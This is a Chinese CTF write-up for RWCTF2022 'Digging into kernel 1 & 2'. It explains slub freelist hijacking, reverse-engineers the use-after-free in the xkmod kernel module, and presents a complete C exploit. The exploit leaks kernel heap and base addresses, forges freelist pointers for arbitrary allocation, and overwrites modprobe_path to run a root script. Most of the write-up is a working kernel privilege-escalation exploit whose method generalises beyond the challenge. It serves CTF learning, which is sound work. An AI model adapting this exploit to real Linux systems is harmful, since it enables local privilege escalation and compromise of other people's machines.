此利用方法与用户态 glibc 中分配 fake chunk 后覆写 __free_hook 这样的手法类似,不过是基于内核 slub 分配器的。

slub 分配器会将释放后的 object 链接到kmem_cache_cpufreelist指针后。freelist指针存储第一个空闲 object 的地址,第一个空闲 object 的起始地址的前 8 个字节存储下一个空闲对象的地址。

image-20260514031653575

如此就可以如同 glibc 一样通过覆写 freelist 中的 next 指针的方式完成内核空间中任意地址上的对象分配,并修改内核当中一些有用的数据以完成提权。

RWCTF2022 Digging into kernel 1 & 2

题目分析

首先查看启动脚本

qemu-system-x86_64 \
    -kernel bzImage \
    -initrd rootfs.cpio \
    -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet kalsr" \
    -cpu kvm64,+smep,+smap \
    -monitor null \
    --nographic

开启了 smep & smap 以及 kaslr,这里 kaslr 写错了,但是没有影响。

查看 /sys/devices/system/cpu/vulnerabilities/*,发现开启了 KPTI:

/home $ cat /sys/devices/system/cpu/vulnerabilities/*
Processor vulnerable
Mitigation: PTE Inversion
Vulnerable: Clear CPU buffers attempted, no microcode; SMT Host state unknown
Mitigation: PTI
Vulnerable
Mitigation: usercopy/swapgs barriers and __user pointer sanitization
Mitigation: Full generic retpoline, STIBP: disabled, RSB filling
Not affected

/sys/devices/system/cpu/vulnerabilities/下的各个文件对应一种漏洞类型,是 Linux 内核对 CPU 漏洞检测的结果。

解包文件系统发现 xkmod.ko LKM 文件,接着 ida 逆向分析。

查看函数表,定义了多个回调函数,我们逐个分析。

img
  • xkmod_init

打印了一段日志,然后注册了一个 miscellaneous 设备。接着创建一个名为lalala的 slab cache,用于分配固定 192 字节的对象。然后将对象保存到全局变量s以供其它设备使用。

img

  • kmod_release

典型的 UAF 漏洞,释放 slab cache变量s时未置零。

img

  • xkmod_ioctl

这是一个堆菜单,实现了 write、read、alloc 等功能。

根据代码逻辑可以分析出来变量v3是数据,v4是偏移,而v5则是长度。

img

为了方便分析,我们通过 ida 为它们创建一个结构体。

img
struct xkdata
{
    size_t *user_buf;
    unsigned int offset;
    unsigned int length;
};

根据以上伪代码进行相应的变量重命名后,直接 F5 刷新一下,可以看到伪代码清晰多了。

img

解题思路

关于内核基址的获取,由于在物理内存(page_offset_base) 0x9d000 处存放secondary_startup_64函数的地址,所以我们可以从 free object 的 next 指针获得一个堆上地址,从而去找堆的基址。然后分配到一个堆基址 + 0x9d000 处的 object 以泄露内核基址。

思路:

  • 泄露堆地址
  • 计算目标地址
  • 伪造 freelist
  • 分配目标地址
  • 读取内核地址
  • 计算 modprobe_path 地址
  • 覆盖 modprobe_path
  • 提权

通过 vmlinux-to-elf 将 bzImage 转换为 vmlinux,然后使用 ida 分析。在字符串表中搜索modprobe

img

计算偏移: 0xFFFFFFFF82444700 - 0xffffffff81000000 = 0x1444700

img

  • exp:
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>

#define MODPROBE_PATH_OFFSET 0x1444700
#define MAGIC_PATH "/home/pwn"

struct xkdata
{
    size_t *user_buf;
    unsigned int offset;
    unsigned int length;
};

// 将进程绑定到固件 CPU 核心,提高 exp 稳定性
void bindCore(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("[*] Process binded to core %d\n", core);
}

// 定义菜单操作函数
void alloc_buf(int dev_fd, struct xkdata *data)
{
    ioctl(dev_fd, 0x1111111, data);
}

void edit_buf(int dev_fd, struct xkdata *data)
{
    ioctl(dev_fd, 0x6666666, data);
}

void read_buf(int dev_fd, struct xkdata *data)
{
    ioctl(dev_fd, 0x7777777, data);
}

int main(int argc, char **argv, char **envp)
{
    int dev_fd[8], root_script_fd;
    size_t heap_leak, kernel_heap_base, secondary_startup_64_chunk, kernel_leak, kernel_base;
    char root_cmd[] = "#!/bin/sh\nchmod 777 /flag";
    char flag[0x100];
    int flag_fd;

    // 绑定到核心0,提高稳定性
    bindCore(0);

    // 创建恶意脚本 /home/pwn
    root_script_fd = open(MAGIC_PATH, O_RDWR | O_CREAT);
    write(root_script_fd, root_cmd, sizeof(root_cmd));
    close(root_script_fd);
    system("chmod +x " MAGIC_PATH);
    
    // 打开8个设备文件描述符
    for (int i = 0; i < 8; i++) {
        dev_fd[i] = open("/dev/xkmod", O_RDONLY);
    }

    // 触发 UAF
    struct xkdata data;
    data.user_buf = malloc(0x1000);
    data.offset = 0;
    data.length = 0x50;
    memset(data.user_buf, 0, 0x1000);
    alloc_buf(dev_fd[0], &data);
    edit_buf(dev_fd[0], &data);
    close(dev_fd[0]);

    // 通过已释放的对象读取数据,释放后对象前8字节是 freelist 的 next 指针
    read_buf(dev_fd[1], &data);   //读前 80 字节
    heap_leak = data.user_buf[0]; // 获取 next 指针
    
    // 计算 page_offset_base
    kernel_heap_base = heap_leak & 0xFFFFFFFFF0000000;
    printf("[+] Kernel heap base: %p\n", (void *)kernel_heap_base);
    
    // 计算目标地址:secondary_startup_64 附近
    // 偏移 0x9d000,再减 0x10 是为了对齐 freelist 指针位置
    secondary_startup_64_chunk = kernel_heap_base + 0x9d000 - 0x10;
    printf("[+] Chunk for kernel base: %p\n", (void *)secondary_startup_64_chunk);

    // 伪造 freelist
    memset(data.user_buf, 0, 0x1000);
    // 设置要伪造的 next 指针值
    data.user_buf[0] = secondary_startup_64_chunk;
    data.offset = 0;
    data.length = 0x8;
    // 修改已释放对象的 next 指针
    edit_buf(dev_fd[1], &data);
    // 第一次分配:分配器取出原 freelist 头部的对象
    alloc_buf(dev_fd[1], &data);
    // 第二次分配:返回我们伪造的 target 地址
    alloc_buf(dev_fd[1], &data); // get the chunk

    //获得内核地址
    data.length = 0x20;
    read_buf(dev_fd[1], &data);
    kernel_leak = data.user_buf[2];
    kernel_base = kernel_leak - 0x30;
    printf("[+] Kernel base: %p\n", (void *)kernel_base);

    // 修改 modprobe_path
    puts("[*] hijacking modprobe_path...");
    alloc_buf(dev_fd[1], &data);
    close(dev_fd[1]);
    data.user_buf[0] = kernel_base + MODPROBE_PATH_OFFSET - 0x10;
    data.offset = 0;
    data.length = 0x8;
    edit_buf(dev_fd[2], &data);
    alloc_buf(dev_fd[2], &data);
    alloc_buf(dev_fd[2], &data); // get the chunk
    strcpy((char *) &data.user_buf[2], MAGIC_PATH);
    data.length = 0x30;
    edit_buf(dev_fd[2], &data);

    // 提权
    puts("[*] trigerring fake modprobe_path...");   
    system("echo -e '\\xff\\xff\\xff\\xff' > /home/trigger");
    system("chmod +x /home/trigger");
    system("/home/trigger");

    // 读 flag
    memset(flag, 0, sizeof(flag));
    flag_fd = open("/flag", O_RDWR);
    read(flag_fd, flag, sizeof(flag));
    printf("[+] Flag: %s\n", flag);

    return 0;
}

参考

Linux kernel 堆溢出利用方法(三) - 蚁景网安实验室 - 博客园 从 RWCTF2022 Digging into kernel 1 & 2 学内核提权方法 · BeaCox’s Blog